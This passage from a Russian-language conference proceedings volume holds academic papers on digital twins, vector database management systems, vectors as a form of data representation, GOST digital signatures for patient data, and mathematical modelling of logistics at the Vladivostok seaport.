Высокие требования к вычислительным ресурсам: моделирование сложных си-
стем с использованием физико-математических уравнений требует значительных вы-
числительных мощностей, особенно для работы в реальном времени. 

Ограниченная адаптивность: физико-математическая модель может быть менее 
гибкой при изменении параметров системы, так как требует пересмотра уравнений и 
алгоритмов [5]. В результате выполнения работы были рассмотрены основные методы 
построения цифровых двойников, изучена их классификация и дано однозначное опре-
деление. На основе этих данных будет гораздо проще определить требуемый тип циф-
рового двойника и модели, на которой он должен быть основан, в зависимости от спе-
цифики производства, которому требуется его внедрение. Особое внимание следует об-
ратить на то, к чему приведет правильный выбор методов построения модели для циф-
рового двойника. Правильная модель не только способствуют внедрению предиктив-
ной аналитики, но также важным аспектом является возможность тестирования новых 
решений и оптимизации процессов без остановки производства. Цифровые двойники 
позволяют проводить виртуальные эксперименты способствуют интеграции различных 
технологий, таких как искусственный интеллект, машинное обучение и большие дан-
ные, что открывает новые возможности для автоматизации и повышения качества про-
дукции. В условиях цифровой трансформации промышленности это становится ключе-
вым фактором успеха. 
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СИСТЕМЫ УПРАВЛЕНИЯ ВЕКТОРНЫМИ БАЗАМИ ДАННЫХ: ОСНОВНЫЕ 
КОНЦЕПЦИИ 
 
VECTOR DATABASE SYSTEM: FUNDAMENTAL CONCEPTUS 

 
Аннотация. Системы управления векторными базами данных (СУВБД) становятся 
важным компонентом современной работы с данными. Это связано с растущей потреб-
ностью в вычислительном описании сложных данных - таких как тексты, изображения 
и видео - в различных областях: рекомендательные системы, поиск по сходству, чат-
боты и другие [1-2]. Такие описания данных представлены в виде числовых векторов, 
которые дешёвы в хранении и сравнении. Однако уникальные особенности векторизо-
ванных данных - высокая размерность и разреженность - требуют специализированных 
решений для эффективного хранения, извлечения и обработки. Этот обзор литературы 
представляет собой доступное введение в основные концепции, сценарии использова-
ния и текущие вызовы, связанные с системами управления векторными базами данных. 
Обзор предназначен для исследователей и практиков, стремящихся к эффективному 
управлению векторными данными. 
Abstract. Vector database management systems (VDBMS) are becoming a component of 
modern data work. This is due to the growing need for computational description of complex 
data - such as texts, images and videos - in various fields: recommender systems, similarity 
search, chatbots and others. Such data elements describe data elements as numerical vectors 
that are stored in storage and distribution. However, the special features of vectorized data - 
dimensionality and sparsity - require highly specialized solutions for efficient storage, retriev-
al and processing. This literature review is an introduction to the main concepts, use cases and 
current challenges associated with the vector database management sequence. The review is 
intended for analysts and practitioners seeking efficient vector data management. 
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Все чаще богатые, неструктурированные данные, такие как большие тексты, 

изображения и видео, не просто сохраняются, но и получают семантическое описание с 
помощью процесса, называемого векторизацией. Этот процесс позволяет отразить осо-
бенности объекта данных в виде числового вектора, например: 

 𝑣⃗ = [6, 7]. 
Векторы являются n-мерными и могут состоять из натуральных, действительных 

или комплексных чисел, где каждое число представляет характеристику (или часть ха-
рактеристики) объекта. Эти характеристики могут быть простыми - например, количе-
ство актёров в театральной постановке - или сложными, как текстуры, определяемые в 
изображении нейросетью. Например, число 3 может соответствовать текстуре челове-
ческой кожи, а число 10 - текстуре кошачьей шерсти. 

В отличие от традиционных моделей данных, таких как реляционные, где запро-
сы часто формулируются как «найти заказы конкретного пользователя» или «найти то-
вары со скидкой», векторные запросы обычно ищут похожие векторы на основе одного 
или нескольких векторов-запросов. Примеры таких запросов: 

- «Найти десять наиболее похожих изображений кошек, похожих на изображён-
ную здесь»; 

- «Найти наиболее подходящие рестораны, исходя из моего текущего местопо-
ложения». 

Интерес к управлению векторными данными резко вырос, отчасти благодаря та-
ким приложениям, как обратный поиск изображений, рекомендательные системы и чат-
боты, и эта тенденция продолжает набирать обороты. Эффективное управление такими 
данными требует специализированной системы управления базами данных (СУБД). 

Хотя векторная СУБД (СУВБД) не является обязательной для какой-либо кон-
кретной бизнес-области (векторы можно хранить и без неё) СУБД существенно упро-
щает и ускоряет работу с данными, предоставляя готовые возможности: 

- транзакции и контроль доступа; 
- автоматическое масштабирование; 
- оптимизация запросов. 
Кроме того, всё более сложные бизнес-сценарии требуют дополнительных 

функций: поиск по векторному сходству с метаданными, запросы с несколькими векто-
рами, эффективное управление доступом и параллельными транзакциями. 

Цель данного обзорного исследования - предоставить доступное описание базо-
вых понятий СУВБД. 

Предполагается, что читатель уже знаком с основами других СУБД (например, 
реляционных), и поэтому в обзоре не рассматриваются математические основы векто-
ров или алгоритмы поиска и индексации. 

Система управления векторной базой данных (СУВБД) - это специализирован-
ный тип системы управления базами данных (СУБД), основной задачей которой явля-
ется эффективное управление векторными данными высокой размерности. Подобно 
другим типам СУБД (таким как реляционные, документные или графовые), СУВБД 
представляет собой полноценное программное обеспечение, предназначенное не про-
сто для хранения данных, а для выполнения комплекса задач управления данными. Эти 
задачи включают: 

- выполнение запросов и модификацию данных; 
- сбор и управление метаданными; 
- индексацию; 
- контроль доступа; 
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- резервное копирование; 
- поддержку масштабируемости; 
- интеграцию с другими системами - драйверами баз данных, языками програм-

мирования, фреймворками и операционными системами. 
Главное отличие СУВБД - фокус на управлении векторами, особенно высоко-

размерными. Существует множество СУБД, которые поддерживают несколько моделей 
данных. Например: 

PostgreSQL поддерживает реляционные, документные и объектно-
ориентированные модели данных; 

Redis работает как с ключ–значением, так и с векторными данными. 
Однако такие универсальные системы, как правило, оптимизированы под одну 

основную модель данных. Это может означать недостаточную эффективность работы с 
векторами, отсутствие возможностей, таких как поиск с несколькими векторами-
запросами, и слабую интеграцию с векторными индексами. 

Также важно понимать, что не всякая система, работающая с векторами, являет-
ся СУВБД. Например, системы, специализирующиеся только на двух- или трёхмерных 
геоданных, не считаются СУВБД в контексте данного исследования. 

Ключевые возможности СУВБД включают: 
- Поиск по сходству с использованием индексов, обеспечивающих быстрый и 

точный подбор похожих векторов по различным метрикам расстояния (например, ев-
клидово расстояние или косинусное сходство). 

- Поддержка векторных операций, позволяющих выполнять математические вы-
числения над векторами - арифметику, статистику, преобразования и т. д. 

В повседневной речи термин "векторная база данных" часто используется как 
синоним СУВБД, однако технически это не одно и то же, векторная база данных - это 
коллекция данных; 

СУВБД - это программное обеспечение, управляющее этой коллекцией. 
Также стоит отметить, что популярные библиотеки, такие как FAISS от 

Facebook, не считаются полноценными СУВБД, поскольку не предоставляют всех 
функций, перечисленных выше - например, управления транзакциями, доступа, резерв-
ного копирования и масштабирования. 

Современные системы управления векторными данными развиваются в двух 
ключевых направлениях: полнофункциональные СУВБД, предназначенные для ком-
плексного управления векторной информацией, и высокопроизводительные библиоте-
ки векторного поиска, такие как FAISS, ориентированные на эффективность и масшта-
бируемость. 

С одной стороны, СУВБД предоставляют весь спектр возможностей, необходи-
мых для промышленных и корпоративных сценариев: 

- управление транзакциями и правами доступа, 
- индексирование и масштабирование, 
- поддержка гибридных запросов с метаданными, 
- интеграция с экосистемой бизнес-приложений. 
С другой стороны, FAISS, несмотря на отсутствие многих функций СУБД, обла-

дает рядом уникальных преимуществ: 
- исключительная производительность при поиске по сходству, 
- широкий выбор методов индексации, 
- поддержка GPU, 
- гибкость для научных и прикладных задач. 
Таким образом, выбор между СУВБД и библиотеками вроде FAISS зависит от 

конкретных требований проекта: 
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- если требуется централизованное, управляемое хранилище с поддержкой 
сложных запросов и безопасности - предпочтение следует отдать СУВБД; 

- если приоритетом является скорость и масштабируемость в рамках специфиче-
ской задачи поиска по векторному сходству - FAISS становится мощным инструмен-
том, особенно как компонент в более широкой архитектуре. 
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ВЕКТОРЫ КАК УНИВЕРСАЛЬНАЯ ФОРМА ПРЕДСТАВЛЕНИЯ ДАННЫХ 
 
VECTORS AS A UNIVERSAL FORM OF DATA REPRESENTATION 

 
Аннотация. Быстрый рост объемов неструктурированных данных - текстов, изображе-
ний, аудио и видео - приводит к необходимости перехода от традиционных форм хра-
нения к векторным представлениям. Процесс векторизации позволяет эффективно ко-
дировать сложные характеристики объектов в виде числовых векторов, пригодных для 
автоматизированного анализа и поиска по сходству. В данном разделе рассматриваются 
фундаментальные аспекты векторов как формы представления данных, включая их 
свойства, размерность и интерпретируемость. Также анализируется архитектура систем 
управления векторными базами данных (УВБД), обеспечивающих хранение, индекса-
цию и выполнение запросов над векторной информацией. Особое внимание уделено 
процессу трансформации данных, методам оценки сходства и построению векторных 
индексов. Представленные материалы формируют основу для понимания принципов 
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построения современных векторно-ориентированных систем и их роли в задачах искус-
ственного интеллекта, мультимедийного поиска и генеративных моделей. 
Abstract. The rapid growth of unstructured data - text, images, audio, and video - necessitates 
the transition from traditional storage forms to vector representations. The vectorization pro-
cess allows us to efficiently encode complex object characteristics as numeric vectors suitable 
for automated analysis and similarity search. This section considers the fundamental aspects 
of vectors as a form of data representation, including their properties, dimensionality, and in-
terpretability. It also analyzes the architecture of vector database management systems 
(VDBS) that store, index, and query vector information. Particular attention is paid to the data 
transformation process, similarity assessment methods, and construction of vector indexes. 
The presented materials form the basis for understanding the principles of constructing mod-
ern vector-oriented systems and their role in artificial intelligence, multimedia search, and 
generative models. 
Ключевые слова: вектор, база данных, особенность, задача 
Key words: vector, database, feature, challenge 

 
Современные цифровые системы всё чаще сталкиваются с необходимостью об-

работки богатых, неструктурированных данных: текстов, изображений, аудио и видео. 
Чтобы сделать такие данные пригодными для вычислений, они проходят этап вектори-
зации - преобразования в высокоразмерные числовые представления, отражающие 
смысл, структуру или другие характеристики объектов. Векторы становятся универ-
сальной формой представления данных, обеспечивая основу для широкого спектра за-
дач: от поиска по сходству до рекомендательных систем и генеративных моделей. Од-
нако эффективная работа с такими представлениями требует принципиально иной ар-
хитектуры хранения, индексации и запроса данных, чем традиционные реляционные 
или документные СУБД. 

В этой работе рассматривается, как векторы представляют данные различных 
типов и почему это фундаментально меняет подход к работе с информацией. Подраздел 
2.3 посвящён архитектуре систем, обрабатывающих такие векторные данные - от этапа 
векторизации до выполнения запросов, включая методы индексации и взаимодействие 
компонентов векторной СУБД. 

Одним из самых интуитивно понятных сценариев использования векторных 
данных являются геопространственные приложения (например, Touya & Lokhat, 2020). 
Двумерные точки, такие как местоположение пользователя и объекты интереса (напри-
мер, рестораны или магазины), могут быть представлены векторами. Ближайшие объ-
екты можно определить с помощью простых и хорошо известных операций. Например, 
вычисляя расстояние между пользователем и точками интереса, можно сравнивать 
длины векторов (например, 𝑓𝑘 и 𝑘𝑎) и находить ближайшую точку. 

Если, например, вектор пользователя задан как 𝑢⃗ = [6, 7], вектор ресторана - как 
𝑓 = [3, 8], а вектор продуктового магазина - как 𝑎 = [7, 1], то близость этих точек можно 
оценить по евклидовому расстоянию или косинусному сходству. 

Помимо координат, иные типы данных также могут быть представлены векто-
рами. Например, можно рассчитать, что пьеса *The Knights* ближе к *The Frogs*, чем к 
*Antigone*, то есть длина вектора 𝑓𝑘 меньше, чем длина 𝑘𝑎. Вектор пьесы *Antigone* 
может быть выражен как 𝑎 = [7, 1], где первое значение отражает степень трагичности, 
а второе - комичности. 

Выше приведены примеры низкоразмерных векторов. Но при добавлении до-
полнительных измерений (например, координаты *z* или жанр "драма") вектор может 
становиться всё более богатым по информации. Если, например, у *Antigone* степень 
драматизма равна 6, то в трехмерном пространстве её вектор будет: 𝑎 = [7, 1, 6]. 
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В реальных задачах размерность векторов может достигать тысяч или миллио-
нов компонентов, что делает их невизуализируемыми и нечитаемыми для человека. Та-
кие высокоразмерные векторы используются для представления текста, изображений, 
аудио и видео. 

С точки зрения представления данных, это и отличает векторные базы данных от 
реляционных и NoSQL-баз данных. В последних данные часто представлены как чело-
векочитаемые числа, строки и временные метки, контекстуализированные именами 
таблиц и колонок (в реляционных БД). В NoSQL данные могут быть слабо структури-
рованы и сложны для восприятия человеком, но всё же они обычно ориентированы на 
структуру, которую можно логически интерпретировать. 

Векторные данные, наоборот, часто неподвластны человеческому восприятию 
без дополнительных инструментов, и именно поэтому требуются специализированные 
подходы к их хранению, поиску и обработке. 

Система баз данных обычно включает одну или несколько СУБД, базы данных и 
приложения, которые с ними взаимодействуют. 

Продолжая пример с греческими пьесами: тексты пьес, которые понятны чело-
веку, векторизуются, то есть преобразуются в высокоразмерные векторы признаков, 
отражающие важные смысловые зависимости и шаблоны. Результат векторизации - это 
вектор, называемый векторным представлением (embedding) или вектором признаков. 

Помимо самого вектора, УВБД обычно сохраняет: 
- уникальный идентификатор; 
- метаданные (например, тип произведения - «пьеса», страна происхождения - 

«Греция»); 
- оригинальные данные, которые вектор представляет (например, полный текст 

пьесы). 
Оригинальные данные часто называют полезной нагрузкой (payload) вектора.   
Например, векторная БД может содержать векторное представление *Antigone*, 

его метаданные и сам текст пьесы. Другой пример - YouTube, который использует ме-
таданные, такие как язык пользователя и время последнего просмотра, чтобы предла-
гать персонализированные рекомендации (Covington, Adams, & Sargin, 2016). 

В задачах обработки языка (NLP) слова и фразы преобразуются в векторы так, 
чтобы похожие слова имели похожие векторы. Похожесть может означать: 

- сходство звучания (например, *walking* и *talking*); 
- сходство смысла (например, *walking* и *running*) - в зависимости от контекста. 
Пример: "трагичность" пьесы может определяться по: 
- количеству трагических слов; 
- результатам анализа тональности; 
- темам, выделенным с помощью тематического моделирования. 
После векторизации данные индексируются, чтобы ускорить поиск. Как и в дру-

гих моделях данных, индексы - ключ к быстрой обработке запросов. 
Так как векторные запросы почти всегда являются приближенными, основная 

дилемма при выборе индекса - баланс между точностью и скоростью. Популярные ал-
горитмы: 

Так же как и сами данные, запросы к УВБД тоже должны быть векторизованы - 
это касается как естественного языка, так и машинно-читаемых запросов. Векторизация 
может происходить: 

- на стороне приложения ; 
- либо внутри самой УВБД. 
Метод векторизации зависит от: 
- типа данных; 
- цели запроса. 
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Хотя вектор *[7, 1, 6]* может обозначать как пьесу, так и изображение, смысл 
каждого элемента разный. 

Сходство между векторами можно определять разными способами: 
- Евклидово расстояние (L2) - «прямая» между точками; 
- Скалярное произведение - сумма произведений соответствующих координат; 
- Косинусное сходство - угол между векторами, независим от длины. 
Выбор метрики зависит от: 
- контекста задачи; 
- типа данных; 
- требований к точности. 
Переход от человекочитаемых структурированных данных к высокоразмерным 

векторным представлениям открывает новые горизонты для интеллектуальных систем, 
но одновременно ставит перед инженерами и исследователями целый ряд архитектур-
ных вызовов. 

Во-первых, сами по себе векторы - это нечитаемые для человека, но вычисли-
тельно эффективные формы данных, которые позволяют обобщать семантические, ви-
зуальные и аудиальные характеристики. Это делает возможными сложные формы по-
иска и анализа, недоступные традиционным СУБД. 

Во-вторых, архитектура УВБД должна учитывать специфические особенности 
векторных данных:   

- необходимость предварительной векторизации как данных, так и запросов;   
- поддержка различных методов оценки сходства (евклидова метрика, косинус-

ное расстояние и т.д.);   
- индексация в условиях высокой размерности и разреженности. 
Таким образом, представление и архитектура векторных данных тесно взаимо-

связаны: понимание структуры вектора определяет способ его хранения и поиска, а ар-
хитектурные решения системы в свою очередь ограничивают или раскрывают потенци-
ал работы с такими представлениями. Эти аспекты становятся критически важными 
при построении современных систем, использующих ИИ, мультимедиа и поиск по 
смыслу. 
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ПАЦИЕНТОВ 
 
DIGITAL SIGNATURE AS A METHOD OF PROTECTING PATIENTS' PERSONAL 
DATA 
 
Аннотация. Статья посвящена исследованию применения цифровой подписи для защи-
ты персональных медицинских данных в условиях цифровизации здравоохранения. 
Рассматриваются ключевые аспекты использования усиленной квалифицированной 
электронной подписи (КЭП) в медицинских учреждениях, а также особенности защиты 
данных, связанных с медицинскими картами и другой документацией пациентов. Про-
анализированы законодательные и технические основы цифровой подписи, включая 
требования к её использованию и алгоритмы шифрования, такие как ГОСТ 34.10–2012. 
Также освещены проблемы интеграции цифровых подписей в медицинские информа-
ционные системы и методы повышения безопасности данных, обеспечиваемые такими 
технологиями. В работе представлены практические рекомендации по внедрению и ис-
пользованию цифровых подписей для защиты персональных данных пациентов в ме-
дицинских учреждениях. 
Abstract. The article is devoted to the study of the use of digital signatures to protect personal 
medical data in the context of digitalization of healthcare. The key aspects of the use of en-
hanced qualified electronic signature (CAP) in medical institutions are considered, as well as 
the features of data protection related to medical records and other patient documentation. The 
legislative and technical foundations of a digital signature are analyzed, including the re-
quirements for its use and encryption algorithms, such as GOST 34.10–2012. The problems of 
integrating digital signatures into medical information systems and methods of improving data 
security provided by such technologies are also highlighted. The paper presents practical rec-
ommendations on the introduction and use of digital signatures to protect patients' personal 
data in medical institutions. 
Ключевые слова: цифровая подпись, персональные данные, медицинские учреждения, 
защита данных, квалифицированная электронная подпись. 
Keywords: digital signature, personal data, medical institutions, data protection, qualified 
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Цифровизация затрагивает сегодня различные сферы жизни [1, 2], в том числе и 
область здравоохранения. Цифровизация здравоохранения требует надёжной защиты 
персональных медицинских данных, особенно в условиях перехода на электронный до-
кументооборот [3]. В соответствии с Приказом Минздрава РФ № 947н, все медицин-
ские учреждения обязаны использовать юридически значимые электронные докумен-
ты, подписанные квалифицированной электронной подписью (КЭП) [4]. Это позволяет 
обеспечить целостность, подлинность и конфиденциальность информации о пациентах, 
включая истории болезни, рецепты и другие важные документы [4, 5]. 
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Цифровая подпись играет ключевую роль в защите данных и повышении эффек-
тивности работы медицинского персонала, снижая бумажную нагрузку и ускоряя до-
ступ к информации [4]. Алгоритмы, такие как ГОСТ 34.10–2012, применяемые при со-
здании электронной подписи, соответствуют требованиям законодательства и обеспе-
чивают криптографическую стойкость [5]. Целью статьи является анализ применения 
цифровой подписи для защиты персональных данных в медицинской сфере. 

Электронный документооборот в здравоохранении набирает популярность бла-
годаря своим преимуществам: повышенной эффективности, снижению бумажной 
нагрузки и улучшению взаимодействия между медицинскими учреждениями. Однако 
вместе с этим возникает необходимость в защите персональных данных, которые со-
держат конфиденциальную информацию о пациентах. Для этого и используется цифро-
вая подпись, которая, с одной стороны, обеспечивает юридическую значимость элек-
тронных документов, а с другой — защищает их от подделки и несанкционированного 
доступа. Цифровая подпись в медицинской сфере имеет несколько ключевых задач: 
обеспечение целостности и подлинности документов, подтверждение авторства и 
предотвращение изменения содержания документа после его подписания. Кроме того, с 
помощью электронной подписи можно удостовериться, что документ был подписан 
именно тем лицом, которое имеет соответствующие полномочия, что особенно важно в 
медицинской практике, где ошибки могут привести к серьезным последствиям. 

Согласно приказу Минздрава РФ № 947н от 7 сентября 2020 года, все медицин-
ские учреждения должны перейти на использование юридически значимого электрон-
ного документооборота, который невозможен без квалифицированной электронной 
подписи. Это изменение в законодательстве стало основой для внедрения цифровой 
подписи на всех уровнях медицинского документооборота — от подписания амбула-
торных карт до передачи отчетности в государственные органы [3]. 

Для обеспечения безопасности и эффективности цифровых подписей в России 
используется отечественная криптографическая система, основанная на алгоритмах 
ГОСТ. Одним из таких алгоритмов является ГОСТ 34.10-2012, который применяет эл-
липтические кривые для генерации подписи и хеширования данных. Этот алгоритм об-
ладает высокой стойкостью к криптоанализу и полностью соответствует требованиям 
законодательства. Процесс создания цифровой подписи включает несколько этапов. 
Сначала генерируются пара ключей — открытый и закрытый. Открытый ключ исполь-
зуется для проверки подписи, а закрытый — для её создания. Затем, перед подписанием 
документа, вычисляется его хеш-сумма, которая представляет собой уникальное циф-
ровое представление содержимого документа. Хешируется эта информация с помощью 
алгоритма «Стрибог», который используется в системе ГОСТ [4]. 

После этого закрытым ключом генерируется подпись, которая добавляется к до-
кументу. Для проверки подписи используется открытый ключ, который позволяет убе-
диться, что документ не был изменен и что подпись принадлежит конкретному пользо-
вателю, владельцу закрытого ключа. 

Система ГОСТ 34.10-2012 обеспечивает высокий уровень защиты данных и 
предотвращает несанкционированные изменения, что особенно важно в медицинской 
сфере, где конфиденциальность данных имеет первостепенное значение [5]. 

Применение электронной подписи в медицинских учреждениях дает несколько 
значительных преимуществ.  

- Она обеспечивает безопасность данных и их защиту от подделки и изменения, 
что критически важно для сохранения доверия к медицинской системе и защиты прав 
пациентов. 

- Использование электронной подписи ускоряет процессы документооборота, 
позволяя быстро и безопасно подписывать документы, что в свою очередь сокращает 
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время на административные процедуры и освобождает врачей от рутинных задач, таких 
как заполнение бумажных документов [1]. 

Алгоритм ГОСТ Р 34.10–2012 основан на эллиптических кривых над конечными 
простыми полями 𝐹, где p — большое простое число. Он использует задачу дискретно-
го логарифма в группе точек эллиптической кривой, как основу криптографической 
стойкости [4]. 
Эллиптическая кривая E определяется уравнением: 

𝐸: 𝑦ଶ ≡ 𝑥ଷ  𝑎𝑥  𝑏  ሺ𝑚𝑜𝑑 𝑝ሻ,  
где a, b ∈ 𝐹 и выполняется условие 4𝑎ଷ  27𝑏ଶ ≢ 0 mod p, чтобы исключить вы-
рождение. 

Ключевая пара: 
- Закрытый ключ d’∈ [1, q - 1], где q – порядок группы. 
- Открытый ключ Q = d ∙ P, где P – базовая точка порядка q на кривой. 
Процесс подписания подписи: 
1. Вычислить хэш сообщения 𝑒 ൌ 𝐻ሺ𝑀ሻ, с помощью ГОСТ Р 34.11-2012. 
2. Выбирается случайное k ∈ [1, q - 1]. 
3. Вычисляется  С ൌ 𝑘 ∙ 𝑃ሺ𝑥, 𝑦ሻ, затем 𝑟 ൌ 𝑥 mod q. Если r=0, выбрать новое 

k. 
4. Вычисляется 𝑠 ൌ ሺ𝑟𝑑  𝑘𝑒ሻ mod q. Если 𝑠 ൌ 0 , выбрать новое k 
5. Подпись: пара (r, s). 
Проверка подписи: 
1. Вычисляется 𝑒 ൌ 𝐻ሺ𝑀ሻ, затем 𝑣 ൌ 𝑒ିଵ mod q. 
2. Вычисляются 𝑧ଵ ൌ 𝑠 ∙ 𝑣 mod q, 𝑧ଶ ൌ െ𝑟 ∙ 𝑣 mod q. 
3. Вычисляется точка 𝐶ᇱ ൌ 𝑧ଵ𝑃  𝑧ଶ𝑄 ൌ ሺ𝑥ᇱ, 𝑦ᇱሻ. Подпись корректна, если 𝑥ᇱ 

𝑚𝑜𝑑 𝑞 ൌ 𝑟 [4]. 
Приведённый алгоритм демонстрирует математическую строгость и надёжность 

схемы электронной подписи, используемой в российских стандартах. Однако теорети-
ческая криптографическая устойчивость — лишь один из аспектов практического при-
менения цифровой подписи в медицинской сфере. 

Благодаря цифровым подписям, медицинские учреждения могут эффективно 
обмениваться данными с другими организациями. Электронная подпись гарантирует, 
что информация, передаваемая между учреждениями, остается конфиденциальной и не 
была изменена в процессе передачи.  

Это важно при передаче данных между различными медицинскими учреждени-
ями, а также при взаимодействии с государственными органами, такими как Фонд со-
циального страхования или Федеральная служба по надзору в сфере здравоохранения. 

Несмотря на явные преимущества, внедрение системы электронных подписей в 
медицинских учреждениях сталкивается с рядом трудностей. Одной из главных про-
блем является необходимость технической подготовки сотрудников и создания инфра-
структуры для работы с цифровыми подписями. Не все медицинские учреждения име-
ют доступ к современным информационным системам, а обучение персонала требует 
дополнительных временных и финансовых затрат. 

Кроме того, необходимо учитывать, что использование электронных подписей 
требует наличия соответствующих сертификатов, которые должны быть выданы только 
в аккредитованных удостоверяющих центрах. В России с 2023 года сертификаты для 
юридических лиц могут быть выданы только через удостоверяющий центр Федераль-
ного казначейства, что также создает дополнительные трудности для медицинских 
учреждений [5]. Также стоит отметить, что для успешного внедрения цифровых подпи-
сей в медицинских учреждениях необходима интеграция с существующими медицин-
скими информационными системами. Важно, чтобы все программы, используемые для 
подписания и проверки документов, были совместимы между собой, что требует до-
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полнительной настройки и взаимодействия с поставщиками программного обеспече-
ния. Использование цифровых подписей в медицинской сфере представляет собой важ-
ный шаг на пути к цифровизации здравоохранения и обеспечению безопасности персо-
нальных данных пациентов. Внедрение электронного документооборота с применени-
ем квалифицированной электронной подписи не только улучшает процессы обмена 
информацией между медицинскими учреждениями, но и значительно повышает эффек-
тивность работы врачей, снижая административную нагрузку. Применение таких тех-
нологий позволяет обеспечить надежную защиту данных пациентов от несанкциониро-
ванного доступа и изменений, что особенно важно для поддержания доверия к системе 
здравоохранения. 

Системы, основанные на алгоритмах ГОСТ 34.10-2012, обеспечивают высокий 
уровень криптографической безопасности, что позволяет гарантировать подлинность и 
целостность медицинских документов. Однако для успешного внедрения таких техно-
логий в медицинские учреждения необходимо преодолеть ряд технических и организа-
ционных проблем, включая создание соответствующей инфраструктуры, обучение пер-
сонала и интеграцию с существующими информационными системами. 
Таким образом, цифровая подпись является не только техническим инструментом, но и 
важным элементом цифровой трансформации медицинской сферы, способствующим 
улучшению качества обслуживания пациентов и повышению безопасности медицин-
ской информации. 
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МАТЕМАТИЧЕСКОЕ МОДЕЛИРОВАНИЕ ЛОГИСТИЧЕСКИХ ПРОЦЕССОВ 
МОРСКОГО ПОРТА 
 
MATHEMATICAL MODELLING OF SEAPORT LOGISTICS PROCESSES 

 
Аннотация. Эта статья посвящена применению современных методов математического 
моделирования для оптимизации логистики в порту Владивостока. В ней анализируют-
ся трудности, возникающие в работе порта, и предлагаются способы их решения с по-
мощью математических моделей. Цель исследования показать, как эффективное управ-
ление логистическими процессами, основанное на математическом моделировании, 
может улучшить производительность и снизить затраты. 
Abstract. This article is devoted to the application of modern mathematical modeling methods 
for optimizing logistics in the port of Vladivostok. It analyzes the difficulties encountered in 
the port's operation and suggests ways to solve them using mathematical models. The aim of 
the study is to show how effective logistics process management based on mathematical mod-
eling can improve productivity and reduce costs. 
Ключевые слова: логистика, математическое моделирование, морской порт, Владиво-
сток, эффективность, управление, проблемы. 
Keywords: logistics, mathematical modeling, sea port, Vladivostok, efficiency, management, 
challenges 

 
Для эффективной работы современных логистических систем необходимы не-

прерывные улучшения и гибкость в ответ на перемены. Водный транспорт является ос-
новой мировой логистики, обеспечивая перевозку товаров по всему миру. Он занимает 
особое место в глобальной логистической системе и обладает особыми характеристи-
ками, которые выгодно отличают его от других видов транспорта и делают его в боль-
шей степени незаменимым для международной торговли [1].  

Его главное преимущество - экономичность и возможность перевозить большие 
объемы грузов. В отличие от других видов транспорта, суда способны преодолевать 
значительные расстояния, доставляя огромные партии товаров. Это существенно сни-
жает стоимость доставки, делая товары более доступными для потребителей на между-
народных рынках. 

Включение водного транспорта в логистическую систему, представляющую со-
бой сложную цепь поставок, потребовало многогранного подхода к его изучению. Со-
временный транспортный сервис выходит за рамки простой доставки груза от отправи-
теля к получателю. Он охватывает широкий спектр дополнительных услуг, таких как 
экспедирование, информационное сопровождение, обработка транзакций, переработка 
грузов, страхование и охрана. Этот комплексный подход позволяет более эффективно 
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выбирать транспортные услуги, поскольку качество перевозок оказывает большее вли-
яние на общие затраты, чем стоимость самой перевозки. 

Владивостокский морской торговый порт (ВМТП), выступает главным логисти-
ческим узлом для перевалки грузов между морским, железнодорожным и автомобиль-
ным транспортом. Являясь конечной точкой Транссиба, порт обеспечивает оператив-
ную доставку грузов по России и их экспортные поставки на европейские и другие 
рынки. Владивостокский морской порт входит в число крупнейших в стране, имея важ-
ное значение для внутренней и международной торговли за счет стратегического рас-
положения и ключевых логистических функций [2]. 

В данное время играющий важную роль в российской транспортной сети, Вла-
дивостокский морской торговый порт испытывает трудности в результате роста меж-
дународной торговли и сложностей в организации грузоперевозок. Увеличение объе-
мов перевозок приводит к перегрузке, что негативно сказывается на скорости обработ-
ки судов и вызывает простои. Главной трудностью является задержка судов у прича-
лов. Из-за перегруженности и недостаточной организации работы суда вынуждены 
долго ждать разгрузки. Это приводит к финансовым потерям для судоходных компаний 
и снижает эффективность работы порта.  

Основные проблемы включают: 
1) перегрузка терминалов – рост международной торговли привел к тому, что 

портовые терминалы работают на пределе возможностей и это вызывает очереди и за-
тягивает процесс разгрузки судов; 

2) неоптимальное использование оборудования - недостаточная координация 
работы техники (кранов, погрузчиков и т.д.) снижает эффективность и замедляет обра-
ботку грузов; 

сложности в логистической цепочке – необходимо улучшить взаимодействие 
между различными участниками процесса доставки грузов (портовыми службами, 
транспортными компаниями, таможней) для более слаженной работы, в связи с чем ма-
тематическое моделирование приобретает ключевое значение для повышения эффек-
тивности этих процессов. 

В порту ВМТП планируют расширить складские площади. Для этого планирует-
ся снос устаревших зданий, которые в данный момент больше не используются. Ос-
новной проблемой для грузоперевозок на Дальнем Востоке является ограниченная про-
пускная способность железных дорог. Из-за резкого роста грузопотока в восточном 
направлении возникли заторы на узких участках Транссибирской магистрали и Байка-
ло-Амурской магистрали (БАМ). Кроме того, не хватает места для хранения грузов на 
железнодорожных станциях, примыкающих к портам.  

При управлении стивидорными компаниями часто возникает необходимость 
найти наилучший способ использования ресурсов (техники, персонала и т.д.) из множе-
ства возможных вариантов. Это означает выбор такого варианта, который обеспечит 
достижение желаемых результатов по определенным параметрам. 

Основная задача линейного программирования в морской отрасли заключается в 
создании математических моделей, описывающих процессы перевозки грузов и пасса-
жиров, а также работу различных элементов морской транспортной системы (флота, 
портов, судоремонтных заводов). Для анализа транспортной деятельности используют-
ся методы прикладной математики, такие как моделирование сложных систем и иссле-
дование операций. 

Математическое моделирование служит теоретической базой для поиска 
наилучших решений в задачах оптимизации. Использование моделирования помогает 
оптимизировать логистику в портах, улучшая перемещение судов и грузов. Этот метод 
позволяет создавать различные варианты развития событий, например, изменение ко-
личества кранов или пересмотр маршрутов контейнеров. Модели учитывают непред-



494 

сказуемые факторы, такие как погода или задержки на таможне, которые могут влиять 
на скорость обработки грузов. Оно помогает определить, какие именно параметры 
управления (например, объемы производства, распределение ресурсов) нужно выбрать, 
чтобы достичь наилучшего результата по заданному критерию (например, максималь-
ная прибыль, минимальные затраты). Эти оптимальные значения параметров и форми-
руют оптимальный план действий. 

Задача оптимизации возникает, когда ресурсы ограничены. Поэтому оптималь-
ный план выбирается из тех вариантов, которые соответствуют ограничениям по ресур-
сам и другим условиям, влияющим на параметры управления. 

Моделирование предоставляет возможность оценить разные варианты и выбрать 
лучшие решения для ускорения обработки судов и грузов. Например, моделирование 
может показать, что изменение расписания прибытия судов или перераспределение ре-
сурсов значительно сократит время простоя и увеличит эффективность работы порта. 

Для создания модели порта требуется собрать информацию о времени прибытия 
судов, времени обработки грузов, а также сроках хранения и отправки грузов. Эти дан-
ные станут основой для динамической модели, которая будет имитировать работу пор-
та в реальном времени. 

Математическое моделирование предоставляет инструменты для оптимизации 
